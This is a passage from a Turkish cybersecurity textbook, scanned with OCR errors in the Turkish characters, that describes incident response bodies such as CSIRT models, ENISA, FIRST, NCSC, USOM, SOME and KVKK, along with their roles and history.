CERT-FR: Fransa’nin ulusal siber giivenlik operasyonlarini yliriiten resmfi ekibidir. Fransiz vatandaslarini
ve kurumlari siber tehditlere karsi korur, siber olay miidahale siireclerini koordine eder.

1.2.2. CSIRT [Computer Security Incident Response Team (Bilgisayar Giivenligi
Olaylarina Miidahale Ekibi)]

CSIRT; siber glivenlik olaylarina miidahale eden daha ¢ok kurumsal, ulusal ve sektorel diizeyde faaliyet
gosteren uzman ekiplerdir. CERT’nin tescilli bir marka olmasindan sonra diger bagimsiz olay miidahale
ekipleri icin CSIRT kavrami kullanilmaya baslanir. CSIRT’ler daha genel bir kavram olup bir bankanin,
sirketin veya Universitenin i¢ ekibi olabilirken CERT’ler daha resmi, ulusal veya biyiik dlgekli kuruluslara
bagh ekipler icin kullanilir. CSIRT'nin temel amaci; bilgisayar glivenlik olaylarina hizli ve etkili bir
midahale ile kontroli yeniden ele almak, zarari en aza indirmektir. CSIRT’nin gorev ve sorumluluklari
sunlardir:

« Olay mudahale planlarinin olusturulmasi ve glincellenmesi

« Paydaslarla bilgi paylasimi yapilmasi
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« Olaylarin tanimlanmasi, degerlendirilmesi ve analiz edilmesi
« Midahale siirecinin saglanmasi ve iletisim kurulmasi

» Olay ¢6zimi saglanmasi

« Olayla ilgili rapor hazirlanmasi

- Denetimlerin yonetilmesi

« Guvenlik politikalarinin gézden gegirilmesi

« Gelecekteki siber olaylara kars! iyilestirmeler yapilmasi

CSIRT Organizasyon Modelleri: CSIRT yapilanmasi, kuruluslarin ihtiyaci dogrultusunda sekillendirilir.
Ornegin 7/24 siirekli izleme gereksinimi, ekip Uyelerinin tam veya yari zamanli ¢alismasi durumu,
egitimli personel ihtiyaci, isletme maliyetleri gibi unsurlar; CSIRT modelinin belirlenmesinde etkili olur.
CSIRT organizasyon modelleri Gorsel 1.19°da gordilir.

Dagitik

Koordine
Eden

Gorsel 1.19: CSIRT organizasyon modelleri

Centralized (Merkezi) CSIRT: Bu yapilanma modelinde tek bir olay midahale ekibi tim kurulusa hizmet
verir. Olay miidahale kaynaklari 6zel bir birim icinde toplanir. Kiicik veya orta o6lgekli kuruluslar igin
uygundur.

Distrubuted (Dagitik) CSIRT: Cok sayida bagimsiz olay miidahale ekibinin bir araya gelerek olusturdugu
organizasyon modelidir. Bly(k 6lcekli veya cografi olarak yayilmis kuruluslar icin esnek ¢coziimler saglar.
Farkh konumlarda bulunan ekipler, kendi bolgesindeki olaylara bagimsiz olarak midahale eder. Bu
sayede yerel tehditlere daha hizli yanit verilir. Ekipler arasi is birligi ve bilgi paylasiminin saglanmasi igin
genellikle merkezi bir CSIRT, koordinasyon gorevini Ustlenir.

Coordinating (Koordine Eden) CSIRT: Dagitik miidahale ekipleri arasinda iletisimi, bilgi paylasimini ve
mudahale koordinasyonunu saglamakla gorevli st diizey ekiptir. Bu ekip, ekipler arasi koordinasyondan
sorumlu olup dogrudan olay miidahalesinde bulunmaz. Temel amaci, dagittk ekipler arasinda
kaynaklarin verimli ve etkili bir sekilde kullanimini saglarken siirece rehberlik etmektir. Koordine eden
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CSIRT’ler; ulusal veya uluslararasi diizeydeki CSIRT aglari, sektorel is birlikleri gerektiren kurumlar veya
birbirine bagl kritik altyapi saglayan kuruluslarin koordinasyonunu saglamak icin uygundur. Bu model,
farkli ekipler arasinda standart protokollerin kullanilmasini saglayarak tekrarlanan calismalari onler,
kaynaklarin verimli kullanilmasina katkida bulunur ve kriz anlarinda hizli is birligi imkani sunar ancak
bagh ekiplerin talimatlara uymamasi veya iletisimin karmasik hale gelmesi gibi bazi dezavantajlar da
barindirir.

Hybrid (Hibrit) CSIRT: Bu modelde hem merkezi hem de dagitik CSIRT o6zellikleri yer alir. Hibrit CSIRT ler,
merkezi tam zamanli olarak ¢alisan birim ve dagitik birimlerden katilan konu uzmanlarindan olusur.
Merkezi birim, bir olayi tespit ve analiz edip miidahale gereksinimlerini belirler. Dagitik birim uzmanlari
ise ihtiyaca gore yardimci olmalari igin stirece dahil edilir. Hibrit CSIRT’lerde ihtiya¢ halinde devreye
giren uzmanlar, egitimli midahale ekipleri olup yetkinlik sertifikalari vardir. Bu uzmanlar, tam zamanh
calismazlar fakat miidahale siireglerinde resmi yetkiye sahiptir.

CSIRT/SOC Hybrid: SOC ve CSIRT ekiplerinin is birligi icinde ¢alismasina dayanan hibrit modeldir. SOC
ekipleri; stirekli izleme, saldiri tespiti ve dnleyici savunma odakl ¢alisir. CSIRT ekipleri ise kritik olaylarda
midahale ve kriz yonetiminden sorumludur. Bu modelde SOC ekipleri, proaktif bir yaklasimla rutin
olaylari izlerken CSIRT ekipleri ise reaktif olay midahalesi saglayarak siber giivenlik siireclerini daha
verimli hale getirir.

Oursourced (Dis Kaynakli) CSIRT: Bir kurulusun siber glvenlik olay midahale sirecini disarindan
uzman bir ekibe devrettigi modeldir. Bu model, i¢ kaynaklari sinirli olan veya ekip olusturmak igin yeterli
personeli olmayan sirketler igin ¢6zim sunar. Bu hizmet, lgilinct taraf deneyimli ve uzman ekipler
tarafindan saglanir ve isletmenin ihtiyaclarina gére esnek ¢éziimler sunar.

CSIRT Nasil Kurulur?

CSIRT olusturulurken kuruluslarin ihtiyaglari ve teknik altyapilari dikkate alinarak planlama, egitim ve
slire¢ yonetimi kapsamli bir sekilde degerlendirilmelidir. Olay miidahale ekipleri olusturulurken dikkat
edilmesi gereken hususlar sunlardir:

« Ekip yapisi belirlenmelidir.

« Ekip lideri belirlenmeli ve yonetimle iletisim gorevi tanimlanmalidir.
« Organizasyon modeli secilmelidir.

« Calisma saatleri belirlenmelidir.

« Politika ve prosediirler olusturulmalidir.

« Egitim verilmeli ve farkindalik saglanmalidir.

 Risk degerlendirmesi yapilmalidir.

« Kritik varliklar tanimlanmahdir.

« Varlk yénetim plani hazirlanmalidir.

« Yapilandirma yonetimi uygulanmalidir.

« Savunma ag mimarisi kurulmahdir.
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CSIRT Uyeleri Kimlerden Olusur?

Olay midahale ekibi Uyeleri, alanlarinda uzmanlik gerektiren bilgi ve becerilere sahip kisilerdir
(Gorsel 1.20). Ekibin kendi icinde gbrev ve sorumluluklarin net bir sekilde belirlendigi organizasyon
yapisi vardir. Bu yapi, ekibin koordineli ve is birlik¢i sekilde ¢alismasini kolaylastirirken olaylara hizli
miidahale edilmesini saglar.

Gorsel 1.20: Olay midahale ekibi

Etkili bir olay midahale ekibi, farkl becerilere sahip lyelerin bir araya gelmesiyle olusur. Ekiplerde yapi,
tek tip degildir. Kuruluslarin olay midahale ihtiyaglarina uygun ekip yapisi olusturulur. CSIRT lyeleri ve
rolleri su sekildedir:

1. CSIRT Takim Lideri: Stratejik kararlar veren, bltce yonetimini yapan ve Ust yonetimle dogrudan
iletisimi saglayan Ust dlizey kisidir.

2. CSIRT Olay Lideri: Ekibin gilinlik operasyonel isleyisinden sorumlu olan kisidir. Temel gorevleri;
CSIRT toplantilarini diizenlemek, ekip Uyelerinin gorevlerini takip etmek, sorumluluklarin yerine
getirilmesini saglamak ve gerekli durumlarda olayin Ust yonetime tasinmasina karar vermektir.

3. CSIRT Destek Uyeleri: Olay miidahalesinde yer alan teknik uzmanlardir. Destek iyeleri; giivenlik
analisti, olay miidahale uzmani, adli bilisim uzmani, ag uzmani gibi gérevlilerden olusur.

4. Diger Birimlerden Uzmanlar: Teknik ekibin disinda ihtiya¢ dogrultusunda farkli alan uzmanlari
da sirece dahil edilir. Hukuk, insan kaynaklari, halkla iliskiler gibi birimlerden temsilciler de olay
midahale siirecine katki saglar.

Bir kamu kurumunda fidye yazilimi saldirisi tespit edilmistir. Kurumun CSIRT ekibini olustu-
rarak her Uyenin roliini ve olay miidahalesindeki gorevlerini belirleyiniz. Olusturdugunuz
ekibin yapisini ve gorev dagilimini kisaca raporlayiniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecek-
tir. Calismanizi yaparken degerlendirme olgttlerini dikkate aliniz.
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1.2.3. ENISA [European Union Agency for Cybersecurity (Avrupa Birligi Siber Giiven-
lik Ajansi)]

ENISA, Avrupa Birligi tGlkelerinin genelinde yliksek diizeyde siber glivenlik saglamayi amaclayan ve 2004
yilinda kurulan ajanstir (Gorsel 1.21).

** **
J enisa m

EUROPEAN
% * UNION AGENCY
X FORCYBERSECURITY

Gorsel 1.21: ENISA logosu

Avrupa Birligi Siber Glivenlik Yasasi ile yetkileri gliclendirilen bu ajans, Avrupa Birligi siber politikasina
katki saglar. Bu ajansin temel amaglari sunladir:

« Avrupa Birligi’nin siber glvenlik politikalarina destek olmak

- Bilgi ve iletisim teknoloji Grlinleri, hizmetleri ve sirecleri icin siber glivenlik sertifikalari hazirlamak

« AB Uyesi Ulkelerle ve diger AB kurumlariyla is birligi yapmak

« Avrupa’yi siber tehditlere karsi korumak ve hazirlikli olmak

Bu amaclar dogrultusunda bilgi paylasimi, kapasiteyi gelistirme ve farkindalik artirma calismalari
yaratdr. Ajansin hedefi; paydaslariyla birlikte ekonomiye olan gliveni gliclendirmek, AB altyapisinin
dayanikhligini artirmak ve Avrupa toplumunun dijital ortamda glivende olmasini saglamaktir. Ayrica

Paydas Siber Guivenlik Sertifikasyon Grubu’nun (SCCG) sekretaryasini ylritlrken, Avrupa Siber Glvenlik
Sertifikasyon Grubu’nun (ECCG) sekretaryasini saglamada Avrupa Komisyonuna destek verir.

ENISA’nin organizayon yapisi su sekildedir:

1. Yonetim Kurulu (Mahagemen Board): Ajansin, Siber Glivenlik Yasasi'na uygun olarak calismalarini
ylratebilmesi igin gerekli sartlari olusturur ve glivence altinda tutar.

2. icra Kurulu (Executive Board): Yonetim kurulu tarafindan alinacak kararlari hazirlar.

3. licra Direktorii (Executive Director): Ajansin ydnetiminden sorumlu olup, gorevlerini bagimsiz
olarak yerine getirir.

4. Ulusal irtibat Gorevlileri Ag1 [National Liaison Officers Network (NLOs)]: ENISA ile AB iye iilkeleri
arasinda bilgi alisverisini kolaylastirir.

5. Danisma Grubu [Advisory Group (AG)]: ENISA'nin calisma programini hazirlamasina, stratejik
hedeflerine ulasmasina ve kilit paydaslarla iletisim kurmasina yardimci olur.
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ENISA, Avrupa Birligi'nde siber givenligi artirmaya yonelik ¢alismalarini li¢ hedef kitleye gore
gruplandirir.

1. Ulusal/AB Yetkilileri: Avrupa Birligi'ne tye tlkelerin ve AB kurumlarinin siber giivenlik politikalarini
olusturmasina, uygulamasina ve koordine etmesine yardimci olmayi amacglar.

2. OzelSektor: isletmelerin siber giivenlik risklerini anlamalarina, ydnetmelerine, giivenli uygulamalari
kullanmalarina ve ilgili dizenlemelere uyum saglamalarina destek olmayi amaglar.

3. Vatandaslar: Bireylerin siber givenlik ve siber tehditler konusunda bilinglenerek kendilerini
koruyabilmelerini amaglar.

1.2.4. FIRST [Forum of Incident Response and Security Teams (Olay Miidahale ve
Giivenlik Ekipleri Forumu)]

1988 yilindaki internet solucani saldirisindan sonra siber glivenligi saglamak icin bircok olay miidahale
ekibi kurulur. Bu ekipler arasinda dil, saat dilimi, uluslararasi standartlar gibi farkliliklar iletisim
sorunlarina neden olur. 1989 yilinda yapilan Wank Solucani saldirisindan sonra ekipler arasinda is birligi
ve koordinasyon ihtiyaci ortaya gikar. 1990 yilinda siber giivenlik ekiplerini bir araya getirerek koordineli
olay miidahalesi ve bilgi paylasimini saglayan uluslararasi forum olan FIRST kurulur. internet aginin
yayginlasmasiyla olay midahale ve siber giivenlik ekiplerinin sayisi da giderek artis gosterir. FIRST'nin
egitim kurumlari, ticari isletmeler, devlet kurumlari, askeri kuruluslar gibi bircok tGyesi bulunur. FIRST’nin
temel amaglari sunladir:

Kiiresel Koordinasyon: Farkli Ulkelerden ve kiltiirlerden olusan Uyelerini bir araya getirerek ihtiyag
duyduklari bilgiye ve is birligi yapacagl ortaklara her zaman ulasabilmelerini saglamaktir. Kiresel
koordinasyonun saglanmasinda dyelik aginin olmasi, konferans ve sempozyumlar diizenlenmesi, 6zel
ilgi gruplari olusturulmasi, iletisim platformlari ve araglarinin kullanilmasi 6nemli rol oynar.

Kiiresel Dil: Tum dinyadaki olay miidahale ekiplerinin ortak bir anlayisa sahip olmasi ve birbirlerini
anlayabilmelerini saglamaktir. FIRST, Gyelerinin bilgi ve becerilerini gelistirmelerini hedefleyen egitim
programlari, seminerler ve cgalistaylar diizenler. Mentorluk programlariyla deneyimli Gyeler, bilgi ve
becerilerini yeni veya gelismekte olan ekiplerle paylasir. Ayrica olay midahalesi ve glivenlikle ilgili en
iyi uygulamalari ve standartlari kullanan kilavuzlar yayinlar. Bu kaynaklar, ekipler arasinda ortak bir
anlayisin olusmasi ve benzer terminolojinin kullanilmasinda 6nemli rol oynar.

Politika ve Yénetisim: ilgili kurumlarla etkilesim kurarak iiye ekiplerin islerini kolaylastiran politikalarin
gelistiriimesine katki saglar ve siber glvenlik farkindaligini artirmayi hedefler.
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FIRST Surdiiriilebilir Kalkinma Hedefleri: Birlesmis Milletler’in Sirdirilebilir Kalkinma Hedefleri’nin
(SKH) gerceklesmesi icin glivenli bir dijital altyapi cok dnemlidir (Gorsel 1.22). FIRST lyeleri ve siber
glvenlik ekipleri; kritik altyapilari koruma, olay miidahale kapasitelerini gelistirme ve kiresel is birlikleri
tesvik etme yoluyla SKH’lere 6nemli katki saglar.
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Gorsel 1.22: Birlesmis Milletler Surdirilebilir Kalkinma Hedeflerini Temsil Eden Grafik

FIRST’nin Stirdirilebilir Kalkinma Hedefleri'ne katkilari sunlardir:

SKH1 Yoksulluga Son (SDG 1 No Proverty): Glvenli ve kesintisiz internet erisimi, yoksullukla miicadeleyi
destekler. internet erisimi, kisilerin cevrimici platformlarda is bulmasina, bankacilik gibi finansal
hizmetlere ulagsmasina veya e-ticaret ile Grilinlerini pazarlamasina destek olur.

SKH2 Acgliga Son (SDG2 Zero Hunger): Tarimsal faaliyet yiriten ciftgilerin interneti givenle
kullanabilmesi, izleniyor olma korkusunun giderilmesi ve dijital araglara kolaylikla erisimin saglanmasina
destek olur.

SKH3 Saglikli Yasam (SDG3 Good Health): Saglik hizmetlerinin dijital diinyaya entegre olmasiyla birlikte
hasta verilerinin korunmasi, gizliligin saglanmasi, sistemlerin kesintisiz calismaya devam etmesi ve siber
olaylara hizlh miidahale edilmesi konularinda gilivenlik risklerinin azaltilmasina katki saglar.

SKH5 Toplumsal Cinsiyet Esitligi (SDG5 Gender Equality): Kadinlarin ve kiz cocuklarinin dijital diinyada
karsilastiklari siddet, ayrimcilik ve diger esitsizliklerin 6nlenmesi icin gerekli glivenlik 6nlemlerini alarak
toplumsal cinsiyet esitligine katki saglar.

SKH6 Temiz Su ve Sanitasyon (SDG6 Clean Water): Su aritma ve pompalama sistemlerinin uzaktan
izlenmesi ve kontroli icin gerekli olan teknolojilerin glivenliginin saglanmasina katki saglar. Ortak aglara
bagh Denetleyici Kontrol ve Veri Toplama (SCADA) sistemlerindeki zafiyetleri analiz ederek 6nleyici
tedbirler sunar.
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SKH7 Erisilebilir ve Temiz Enerji (SDG7 Affordable and Clean Energy): Enerji kullanim verilerini
toplayan, uzaktan izleyen akilli sayaclar ile elektrik sebekelerinin daha verimli calismasini saglayan, akilli
sebekelerin glvenliginin saglanmasina ve gizliliginin korunmasina katki saglar.

SKH8 insana Yakisir is ve Ekonomik Biiyiime (SDG8 Decent Work and Economic Growth): Kisilerin
finansal islerini glivenle gerceklestirmesi ve ekonomiye katki saglamalari icin mobil 6deme sistemlerinin
glvenligini saglamaya katkida bulunur.

SKH9 Sanayi, Yenilikgilik ve Altyapi (SDG9 Industry, Innovation and Infrastructure): 1oT (Nesnelerin
interneti) teknolojilerine dayal enddstrilerin siber giivenliginin saglanmasina katki saglar.

SKH11 Sirdiiriilebilir Sehirler ve Topluluklar (SDG11 Sustainable Cities and Communities): Akilli sehir
teknolojilerinde kullanilan dijital sistemlerin siber giivenliginin saglanmasina katki saglar.

SKH16 Baris, Adalet ve Giiglii Kurumlar (SDG16 Peace and Justice): Vatandaslarin yénetime katilimini
saglayan dijital platformlarin glivenliginin artirilmasi ve gizliliginin saglanmasina destek olur.

1.2.5. NCSC [National Cyber Security Centre (Ulusal Siber Giivenlik Merkezi)]

Ulusal Siber Gilivenlik Merkezi, Birlesik Krallik'in altyapisini, vatandaslarini ve kuruluslarini siber
saldirilardan korumak icin 2016 yilinda kurulur (Gorsel 1.23).

National Cyber
Security Centre

a part of GCHQ
Gorsel 1.23: NCSC logosu

NCSC, 1919'da temelleri atilan ve ingiltere’nin sinyal istihbaratiyla kriptoloji alanindaki operasyonlarini
yuriten GCHQ (Government Communications Headquarters) ile is birligi icinde calisir. NCSC; daha
once var olan CCA, CERT UK ve CESG siber glivenlik kuruluslarini bir araya getirir ve tek ¢ati altinda
birlestirerek operasyonel verimliligi artirir.

NCSC’nin etkisi, Ulusal Saglik Servisi'ni (NHS) hedef alan WannaCry fidye yazilimi saldirisina karsi
gosterdigi basarili midahaleyle kanitlanir. Five Eyes (Bes Go6z) istihbaratinin aktif bir lyesi olarak
CISA ve NATO ile ortak operasyonlar yiritlr. Gelistirdigi Active Cyber Defence (Aktif Siber Savunma)
programiyla ingiltere kaynakli siber saldirilarin %90’in1 otomatik olarak filtreleyerek saldirilarin ortalama
etki sliresini 27 saatten 1 saate dislrmeyi basarir.

NCSC, alinan tim siber glvenlik 6nlemlerine ragmen Birlesik Krallik’a verilecek siber zarari en aza
indirmek icin etkili olay midahalesi saglamayi hedefler. Kamu kurumlari icin Ucretsiz givenlik acgigl
tarama hizmeti, e-posta giivenligini saglamak, yenilik¢i kimlik dogrulama ydntemleri, Birlesik Krallik
agini korumak icin otomatik filtreleme, yazilimlari iyilestirme, saldirilara karsi 6nlem, mudahale gibi
cesitli calismalari ylritur. Ayrica CyberFirst programi kapsaminda genclere sunulan Ucretsiz siber
glvenlik egitimleri, gelecegin nitelikli siber glivenlik uzmanlarinin yetistiriimesine katki saglar.
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1.2.6. USOM (Ulusal Siber Olaylara Miidahale Merkezi)

Turkiye’'de siber glvenlik alanindaki kurumsal yapilanma 20 Ekim 2012 tarihli ve 28447 sayili Resmi
Gazete’'de yayimlanan Bakanlar Kurulu Karari ile resmiyet kazanir. Bu karar ile ulusal siber gtvenlik
galismalarinin yuritilmesi, yonetilmesi ve koordinasyonuna iliskin temel ilkeler belirlenir. Daha
sonra 5809 sayili Elektronik Haberlesme Kanunu’na dayanarak 20 Haziran 2013’te 28683 sayili Resmi
Gazete’de 2013-2014 Ulusal Siber Giivenlik Stratejisi ve Eylem Plani yayimlanarak 2013/4890 sayili
Bakanlar Kurulu Karari ile kabul edilir. Bu strateji ile Turkiye'nin siber glvenliginin saglanmasi, siber
tehditlerin belirlenmesi ve énlenmesi, olasi saldirilarin etkilerinin azaltilmasi amaciyla Bilgi ve iletisim
Kurumu (BTK) bunyesinde Ulusal Siber Olaylara Miidahale Merkezi (USOM/TR-CERT) kurulur (Gorsel

LSl

ULUSAL SIBER OLAYLARA MUDAHALE MERKEZ
Gorsel 1.24: USOM logosu

27 Mayis 2013 tarihinde faaliyete gecen bu merkez, ulusal diizeyde siber glivenlik operasyonlarini
devam ettirir. Ayni eylem plani kapsaminda kamu kurumlari, 6zel sektor gibi kritik kuruluslar icin kendi
blnyelerinde Siber Olaylara Miidahale Ekipleri (SOME) olusturulur. USOM ve SOME’lerin koordineli
calismalari siber saldirilarin engellenmesi, zararin en aza indirilmesi ve hizli miidahale saglanmasi
konusunda kritik 6neme sahiptir. USOM 7/24 esasina gore kesintisiz hizmet veren bir birimdir ve temel
gorevleri sunlardir:

« Ulke genelindeki siber olaylarin kesintisiz olarak izlenmesi, tespit edilmesi ve miidahale edilmesi

« SOME iletisim Portali (SiP) Gizerinden kurumlara giivenlik uyarilarinin génderilmesi ve SOME’ler-
den gelen ihbarlarin degerlendirilmesi

« Kamuoyunun siber tehditlere karsi bilgilendirilmesi

« Zararli yazilimlarin analiz edilmesi

» Tehlikeli internet adreslerinin tespit edilmesi ve erisimin engellenmesi
» Oltalama saldirilarinin 6nlenmesi

« Siber suglarla ilgili delillerin toplanmasi

« Savcilik ve emniyet birimleriyle koordineli calismanin yiritilmesi

« Adli makamlara teknik destek saglanmasi

« Kurumlara yonelik siber givenlik egitimlerinin diizenlenmesi
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« Siber YILDIZ, Fetih-Siber TALIMHANE gibi projelerle uzman personelin yetistiriimesi ve tatbikat-
larin yapilmasi

« Uluslararasi CERT ekipleriyle calisma

« NATO ve uluslararasi siber glivenlik tatbikatlarina katilim

1.2.7. SOME (Siber Olaylara Miidahale Ekibi)

SOME, bir kurumun veya bir tlkenin bilgi sistemlerini hedef alan siber saldirilara karsi gerekli siber
glvenligin saglanmasindan sorumlu uzman kisilerden olusan teknik bir ekiptir. Bu ekipler, Kurumsal
SOME ve Sektorel SOME olarak ikiye ayrilir. Kurumsal SOME’ler tek bir kuruma hizmet verir. Sektorel
SOME'ler birden fazla kurumu kapsayarak hizmet verir. SOME kurulum asamalari sunlardir:

« Kurum icindeki yerinin ve kapasitesinin planlanmasi
« Kurum icin paydaslarla iletisim esaslari

« Kurum disi paydaslarla iletisim esaslari

« Egitimlerin planlanmasi

« Kurulus sliresi

« Kurulus esaslari

Kurumsal SOME: Bir kurumdaki siber glivenlik risklerinin azaltilmasi ve siber olay sirasinda goérev
tanimindaki ¢alismalari yiriten ekiptir. Kurumsal SOME’ler, 11 Kasim 2013 tarihli 28818 sayili Teblig
ve Ulusal Siber Glvenlik Stratejisi kapsaminda calismalarini yiritir. Kurumsal SOME’nin gorev ve
sorumluluklari sunladir:

« Kurum calisanlarina yonelik farkindalik ¢alismalarinin yapilmasi

« Kurum altyapisinin giivenlik testlerinin yapilmasi

« Tum dijital veri islemlerine ait kayitlarin tek bir merkezde toplanmasi ve yonetilmesi
« Siber olay yonetim talimatlarinin hazirlanmasi

+ Tatbikatlara katilmak

« USOM ve Sektorel SOME toplantilarina katilmak

« Guvenlik Grtnlerini ve politikalarini belirlemek

« Siber olaylara midahale etmek ve olayi degerlendirmek

« Olay mudahalesinde gerekli durumlarda diger kurumlarla (hukuk mdsavirligi, savcilik, kolluk kuv-
vetleri vb.) is birligi yapmak

« Siber olay sonrasinda nedenleri belirlemek, ders ¢cikarmak
« Siber olay bilgilerini USOM’a ve Sektérel SOME’ye iletmek
- Diizeltici ve 6nleyici faaliyetlerle iyilestirmeler yapmak

« Siber olay miidahale raporu hazirlamak ve ilgili yerlerle paylasmak
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Sektorel SOME: Kritik sektorlerde hizmet veren kurumlardaki siber glvenlik koordinasyonunun
saglanmasindan sorumlu olan ekiptir. Sektorel SOME’ler, 11 Kasim 2013 tarihli 28818 sayili Teblig ve
Ulusal Siber Glivenlik Stratejisi kapsaminda kurulmus olup sektérel siber glivenligin koordinasyonundan
ve diizenlenmesinden sorumludur. Sektorel SOME’nin gérev ve sorumluluklari sunlardir:

« Sektordeki paydaslarla birlikte calisma grubu olusturur ve glivenlik mevzuatini belirler.

« Kritik bilgi sistemlerini belirlemek i¢in 6l¢ttler tanimlar.

« Sektor ici en st duzeyde siber glvenlik 6l¢ttlerini belirler.

« Bilgi ve siber glivenlik s6zlesme hiikiimlerini hazirlar.

« Kurumsal SOME’lerden istenen risk analizlerinin yontem, kapsam, periyot ve rapor formatini belirler.
« Sektorel SOME olay miidahale prosediri olusturur.

« USOM ile sektore 6zgli tatbikat yapar veya katilir.

« 7/24 iletisim bilgilerini USOM ve Kurumsal SOME’lerle paylasir.

« Sektordeki kurumlara siber glivenlik pratikleri, uyarilar ve giivenlik aciklari hakkinda bilgi verir.

« USOM’dan gelen sektorel uyarilarin Kurumsal SOME’lere iletilmesini saglar.

« Siber Guvenlik Kurulu kararlarinin ilgili Kurumsal SOME’lere duyurulmasini ve bunlarin koordinasyo-
nunu saglar.

« 7/24 ulasilabilir iletisim bilgilerini paylasir.

« Sektore 6zgil tehditlerin tespiti icin bal kiipii sistemleri kurulmasini tavsiye eder.

« SCADA gibi kritik sistemlerde glivenlik 6nlemlerini koordine eder.

« Kurumsal SOME’lerin olay kayit mekanizmalarini denetler.

« Siber olay yasayan Kurumsal SOME’ye teknik destek saglar.

« Siber olayi USOM ve ilgili Kurumsal SOME’ye bildirir.

» Sug stiphesi durumunda kolluk kuvvetlerine yonlendirme yapar.

« Olay sonrasinda Kurumsal SOME’den Siber Olay Bildirim Formu alarak USOM’a iletir.
« Olaydan alinan dersler, sektérdeki paydaslarla paylasilir.

« NATO ve Siber Savunma Tatbikatlari gibi uluslararasi etkinliklere katilimi tesvik eder.

1.2.8. TUBITAK BILGEM SGE (Siber Giivenlik
Enstitiisii)

Siber Glvenlik Enstittist, Tirkiye’nin siber giivenlik alanindaki

teknolojik bagimsizligini gliclendirmek, kritik altyapilari korumak ]- U B | -I-A K

ve siber savunma kapasitesini artirmak amaciyla kurulmus

[
arastirma ve uygulama merkezidir (Gorsel 1.25). B I l G E M

Gérsel 1.25: TUBITAK BILGEM logosu
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Enstitiiniin faaliyetleri, 1997 yilinda Bilisim Sistemleri Giivenligi (BSG) adiyla TUBITAK Ulusal Elektronik
ve Kriptoloji Arastirma Enstitiisii (UAKE) altinda baslar. 2012 yilindan itibaren TUBITAK BiLGEM
catisi altinda bagimsiz bir enstitl olarak faaliyetlerini strdirir. SGE; siber givenlik alaninda arastirma
gelistirme faaliyetleri, kamu kuruluslari ve 6zel sektor icin ¢c6zim odakli projelerle tilkenin siber glivenlik
altyapisinin gliclenmesine katki saglar. SGE’'nin etkinlik alanlari sunladir:

1. ileriSiber Giivenlik Arastirma Gelistirme Calismalari: Yapay zeka destekli siber savunma sistemleri,
kuantum kriptografi, siber tehdit analiz yontemleri, kritik altyapi koruma sistemleri gibi yenilikgi
teknolojilerle ileri diizey arastirma gelistirme faaliyetleri yrutur.

2. Siber Giivenlik Stratejisi Belirleme Calismalari: Risk degerlendirme c¢ergeveleri, ulusal siber
givenlik standartlari, kamu kurumlari ve 6zel sektor is birligi modelleri, uluslararasi siber givenlik
rejimlerine uyum calismalariyla ulusal diizeyde siber giivenlik stratejisinin belirlenmesini saglar.

3. Siber Giivenlik Céziim Projeleri: Kurumlara 6zel giivenlik mimarilerin tasarimi, sizma testleri,
acil midahale sistemleri ve givenli yazilim gelistirme sirecleriyle ihtiyaca yonelik somut projeler
gelistirir.

1.2.9. KVKK (Kisisel Verileri Koruma Kurumu)

Kisisel Verileri Koruma Kanunu; 24 Mart 2016 tarihinde TBMM’de kabul edilip, 7 Nisan 2016 tarih ve
29677 sayili Resmi Gazetede yayimlanarak yururlige girer. Ardindan kurumsal yapinin olusturulmasi
siireci tamamlanarak 17 Ocak 2017’de 2017/8 sayili Bakanlar Kurulu Karari ile Kisisel Verileri Koruma
Kurumu resmen olusturulur ve faaliyete baslar (Gorsel 1.26).

 KVKK

® KIiSISEL VERILERI KORUMA KURUMU

Gorsel 1.26: KVKK logusu

Kisisel verileriisleyen kuruluslarin faaliyetlerini seffaf hale getirmek ve KVKK’ye uygunlugunu denetlemek
amaciyla 2018 yilinda VERBIS (Veri Sorumlulari Sicil Bilgi Sistemi) kurulur. KVKK tarafindan olusturulan
VERBIS, kisisel verileri isleyen gercek veya tiizel kisilerin kayit olmak zorunda oldugu elektronik bir sicil
sistemidir.

KVKK’nin amaci Turkiye’de 6zel hayatin gizliligini ve temel haklari koruyarak kisisel verilerin gtivenligini
saglamak ve farkindalk olusturmaktir. KVKK’'nin sagladigi faydalar sunlardir:

- Kisisel verilerin kotlye kullanimi dnleyerek mahremiyet hakkini korur.
« Verilerin nasil islendigini 6grenme ve kontrol etme hakki saglar.

« Hukuki yollara basvurma hakki tanir.

« Veri yonetimi icin standart bir cerceve olusturur.

« Musteri glivenini saglayarak kurumsal itibari destekler.

- Dijital donisiim siirecinde gliven ortami olusturur.
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» Veriye dayali ekonomi igin saglikli bir altyapi sunar.

 Uluslararasi veri transferinde giivenirlik saglar.

KVKK ile kisisel veriler yasal olarak glivence altina alinmis olup kéttye kullanim veya ihlal durumlarinda
hem idari para cezalari (KVKK madde 18) hem de cezai yaptirimlar (TCK 135-140. maddeler) uygulanir.

1.2.10. Tiirkiye Siber Guivenlik Kiimelenmesi

Turkiye Siber Guvenlik Kiimelenmesi; 2017 yilinda kamu kurumlari, 6zel sektor temsilcileri ve akademi
is birligiyle olusturulur. 2018 yilinda faaliyete gecen bu kiimelenme, Savunma Sanayi Baskanligi (SSB) ve
Dijital D6nisiim Ofisi Baskanhgi (DDO) tarafindan desteklenip SSTEK tarafindan yiratilen bir projedir.
Kimelenmenin uzun vadeli stratejileri Savunma Sanayii Baskani baskanliginda, Sanayi ve Teknoloji
Bakanligi, Ulastirma ve Altyapi Bakanligi, DDO ve SSB (st diizey temsilcilerinden olusan Danisma Kurulu
tarafindan belirlenir. 1 Subat 2021 tarihinde SSB ve DDO arasinda imzalanan protokolle yuritilen
faaliyetler resmiyet kazanmistir.

Kimelenmenin amaci, Turkiye’nin siber glivenlik alaninda teknoloji lireten ve diinya ile rekabet edebilen
bir ilke olabilmesidir. Kimelenmenin hedefleri sunlardir:

« Tlrkiye'deki siber giivenlik firmalarinin sayisini artirmak

« Uyelerinin teknik, idari ve finansal acilardan gelisimine destek olmak
« Siber glvenlik ekosisteminin standartlarini gelistirmek

« Uyelerinin Giriin ve hizmetlerinin markalasmasina yardimci olmak

« Uyelerinin ulusal ve kiiresel pazarda rekabet giiciinii arirmak

« Siber givenlik alanindaki insan kaynagi sayisi ve niteligini artirmak

« Toplumdaki siber gtivenlik bilincini artirmak

TSGK’ye; savunma sanayii, telekominikasyon, bilisim sektori ve 6zel siber glivenlik alanindan bircok
kurulus Gye olup Turkiye'de siber glivenlik ekosisteminin gelismesine katki saglar. Bu kiimelenmenin
Uyelerine sagladigi faydalar sunlardir:

